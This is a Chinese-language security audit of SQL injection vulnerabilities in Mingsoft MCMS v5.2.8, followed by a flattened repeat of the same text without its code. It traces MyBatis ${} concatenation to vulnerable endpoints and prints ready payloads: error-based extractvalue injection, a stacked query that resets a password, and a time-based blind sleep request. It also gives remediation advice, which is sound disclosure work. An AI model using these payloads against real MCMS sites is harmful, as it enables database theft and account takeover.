某代码审计SQL注入篇
字数 1656 2025-08-26 22:11:57

铭飞MCMS v5.2.8 SQL注入漏洞审计与分析

0x00 前言

铭飞MCMS是一款广泛应用于政府、教育等行业的内容管理系统,基于SpringBoot 2架构,前端基于vue和element ui。尽管该系统定期更新,但底层代码中仍存在多处SQL注入漏洞。本文详细分析这些漏洞的成因、利用方式及修复建议。

0x01 审计环境

  • 目标系统: Mingsoft MCMS v5.2.8
  • 数据库: MySQL 8.0.29
  • JDK版本: OpenJDK 19.0.1
  • 代码来源: https://gitee.com/mingSoft/MCMS/tree/5.2.8/

0x02 审计思路

自动化代码审计工具使用

  1. 反编译jar包:

    • 使用jadx工具反编译依赖jar包(ms-base、ms-basic、ms-mdiy)
    • 将jar重命名为zip解压后,使用jadx导出为java文件
  2. 优化扫描配置:

    • 修改fortify-sca.properties文件,移除对JS文件的扫描(删除com.fortify.sca.DefaultFileTypes中的,js)

人工审计SQL注入思路

SQL注入需满足两个条件:

  1. 输入参数用户可控
  2. 直接或间接拼入SQL语句执行

重点关注两种SQL执行方式:

  1. 直接使用JDBC:

    • 搜索SELECTDELETEUPDATE等关键词
    • 搜索StatementPreparedStatement等方法
  2. 使用MyBatis:

    • 预编译机制使用#{}(安全)
    • 直接拼接使用${}(危险)
    • 特别关注order by等不能使用预编译的场景

0x03 审计过程

1. 底层映射存在注入漏洞引发多个前台注入

漏洞根源:
IBaseDao.xml中,sqlWhere绑定使用了${}直接拼接:

<bind name="sqlWhere" value="@net.mingsoft.base.util.SqlUtil@buildWhereSql(${tableName},${where})"/>

影响点分析:

第一处GET类型注入

  • 路径: IDictDao.xmlIDictBizDictAction.class
  • 利用方式:
    {
      "sqlWhere": "[{\"action\":\"\",\"field\":\"extractvalue(0x7e,concat(0x7e,(database())))\",\"el\":\"eq\",\"model\":\"contentTitle\",\"name\":\"文章标题\",\"type\":\"input\",\"value\":\"a\"}]"
    }
    

第二处GET类型注入

  • 路径: IDictDao.xmldictBiz.queryExcludeAppDictAction.class
  • 利用方式: 同上

第三处POST类型注入

  • 路径: ICategoryDao.xmlcategoryBiz.queryCategoryAction.java
  • 利用方式: 同上

第四处POST类型注入

  • 路径: IContentDao.xmlcontentBiz.queryContentAction.java
  • 利用方式: 同上

2. 后台自定义模型任意SQL语句执行

漏洞路径:

  1. IBaseDao.xml中定义了excuteSql操作:

    <select id="excuteSql" resultType="Integer" parameterType="String">
        ${_parameter}
    </select>
    
  2. 调用链: IModelDaoModelBizImplModelAction.class

利用步骤:

  1. 访问后台自定义模型功能(需权限)
  2. 生成代码时构造恶意SQL:
    {
      "sql": "select * from user; update user set password='hacked' where id=1"
    }
    

3. 校验参数接口前台SQL注入

漏洞路径:

  1. IBaseDao.xml中的queryBySQL使用${}拼接
  2. 调用链: BaseBizImpl.javaBaseAction.class#validatedPageAction.java#verify

利用方式:

GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=b&id=c&idName=1

0x04 总结与修复建议

漏洞总结

  1. MyBatis中${}直接拼接导致多处注入
  2. 后台功能缺乏足够过滤
  3. 参数校验接口存在注入

修复建议

  1. 代码层面:

    • 尽可能使用#{}预编译
    • 必须使用${}时,严格过滤输入(白名单)
    • 数字类型参数强制转换
  2. 架构层面:

    • 实现表单过滤层
    • 关键操作增加权限校验
  3. 运维层面:

    • 部署WAF防护
    • 定期进行安全审计

0x05 参考

铭飞MCMS v5.2.8 SQL注入漏洞审计与分析 0x00 前言 铭飞MCMS是一款广泛应用于政府、教育等行业的内容管理系统,基于SpringBoot 2架构,前端基于vue和element ui。尽管该系统定期更新,但底层代码中仍存在多处SQL注入漏洞。本文详细分析这些漏洞的成因、利用方式及修复建议。 0x01 审计环境 目标系统 : Mingsoft MCMS v5.2.8 数据库 : MySQL 8.0.29 JDK版本 : OpenJDK 19.0.1 代码来源 : https://gitee.com/mingSoft/MCMS/tree/5.2.8/ 0x02 审计思路 自动化代码审计工具使用 反编译jar包 : 使用jadx工具反编译依赖jar包(ms-base、ms-basic、ms-mdiy) 将jar重命名为zip解压后,使用jadx导出为java文件 优化扫描配置 : 修改fortify-sca.properties文件,移除对JS文件的扫描(删除 com.fortify.sca.DefaultFileTypes 中的 ,js ) 人工审计SQL注入思路 SQL注入需满足两个条件: 输入参数用户可控 直接或间接拼入SQL语句执行 重点关注两种SQL执行方式: 直接使用JDBC : 搜索 SELECT 、 DELETE 、 UPDATE 等关键词 搜索 Statement 、 PreparedStatement 等方法 使用MyBatis : 预编译机制使用 #{} (安全) 直接拼接使用 ${} (危险) 特别关注 order by 等不能使用预编译的场景 0x03 审计过程 1. 底层映射存在注入漏洞引发多个前台注入 漏洞根源 : 在 IBaseDao.xml 中, sqlWhere 绑定使用了 ${} 直接拼接: 影响点分析 : 第一处GET类型注入 路径 : IDictDao.xml → IDictBiz → DictAction.class 利用方式 : 第二处GET类型注入 路径 : IDictDao.xml → dictBiz.queryExcludeApp → DictAction.class 利用方式 : 同上 第三处POST类型注入 路径 : ICategoryDao.xml → categoryBiz.query → CategoryAction.java 利用方式 : 同上 第四处POST类型注入 路径 : IContentDao.xml → contentBiz.query → ContentAction.java 利用方式 : 同上 2. 后台自定义模型任意SQL语句执行 漏洞路径 : IBaseDao.xml 中定义了 excuteSql 操作: 调用链: IModelDao → ModelBizImpl → ModelAction.class 利用步骤 : 访问后台自定义模型功能(需权限) 生成代码时构造恶意SQL: 3. 校验参数接口前台SQL注入 漏洞路径 : IBaseDao.xml 中的 queryBySQL 使用 ${} 拼接 调用链: BaseBizImpl.java → BaseAction.class#validated → PageAction.java#verify 利用方式 : 0x04 总结与修复建议 漏洞总结 MyBatis中 ${} 直接拼接导致多处注入 后台功能缺乏足够过滤 参数校验接口存在注入 修复建议 代码层面 : 尽可能使用 #{} 预编译 必须使用 ${} 时,严格过滤输入(白名单) 数字类型参数强制转换 架构层面 : 实现表单过滤层 关键操作增加权限校验 运维层面 : 部署WAF防护 定期进行安全审计 0x05 参考 铭飞MCMS issues I5OWGU 铭飞MCMS issues I5X1U2